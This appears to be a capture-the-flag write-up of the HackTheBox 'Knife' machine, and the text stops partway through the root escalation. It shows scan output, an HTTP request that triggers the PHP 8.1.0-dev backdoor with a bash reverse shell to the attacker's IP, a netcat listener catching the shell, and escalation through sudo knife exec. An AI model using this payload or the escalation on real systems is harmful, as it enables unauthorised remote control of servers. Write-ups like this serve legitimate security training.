nikto -h https://10.10.10.242
+ Server: Apache/2.4.41 (Ubuntu)
+ /: Retrieved x-powered-by header: PHP/8.1.0-dev.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
Find Exploit:
The X-Powered-By header gives a very specific PHP version, PHP/8.1.0-dev. Some knowledge of the news reminds me that there was an issue with the PHP source repository where it got hacked and a backdoor was inserted (ref1, ref2, lots more).
Kind of surprisingly, on release day, Googling this version didn’t turn up the news stories about this backdoor, so it took a bit more research to figure out that this version was the one associated with the backdoor. That said, two days after Knife’s release, the top link on Google mentioned the backdoor:
Backdoor Details:
Because of how GitHub and open-source works, I can look right at the commit that adds this backdoor into the PHP codebase. The commit changes one file, ext/zlib/zlib.c, adding 11 lines of code (all in green):
https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
It’s fascinating to see others commenting on the commit, the first comment asking if the misspelling of HTTP_USER_AGENT as HTTP_USER_AGENTT was a mistake, and four lines later someone asking what it did, and someone else responding basically that’s it’s a backdoor, and how it works.
RCE:
To test this, I’ll send the GET request over to Burp Repeater and replace the User-Agent header with the malicious one:
GET / HTTP/1.1
Host: 10.10.10.242
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
User-Agentt: zerodium system("bash -c 'bash -i >& /dev/tcp/10.10.16.6/1337 0>&1'");
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
SHELL:
I’ll replace id with a reverse shell, and run it again.
┌──(kali💀kali)-[~]
└─$ sudo nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.242] 55154
bash: cannot set terminal process group (963): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ whoami
james
james@knife:/$ cd ~
james@knife:~$ ls
user.txt
james@knife:~$ cat user.txt
de9b97--------------------------
james@knife:~$ id
uid=1000(james) gid=1000(james) groups=1000(james)
james@knife:~$ python3 -c 'import pty;pty.spawn("bash")'
python3 -c 'import pty;pty.spawn("bash")'
Shell as root
Enumeration:
When trying to escalate on Linux, always check sudo -l:
james@knife:~$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
james can run knife as root.
Background:
Chef is an automation/infrastructure platform:
knife is a command line tool manage Chef. According to the docs, it manages aspects of Chef such as:
SHELL:
While GTFObins has a page for knife, it didn’t when Knife released, leaving me to comb the docs. There are several ways to get execution through knife.
exec
More simply, knife has an exec command that will run Ruby code. This is the technique now on GTFObins, but it wasn’t there when Knife released. There was a GTFObins page on Ruby that shows running sudo ruby -e 'exec "/bin/sh"'. The Ruby code there is exec "/bin/sh". Using the same Ruby code here works: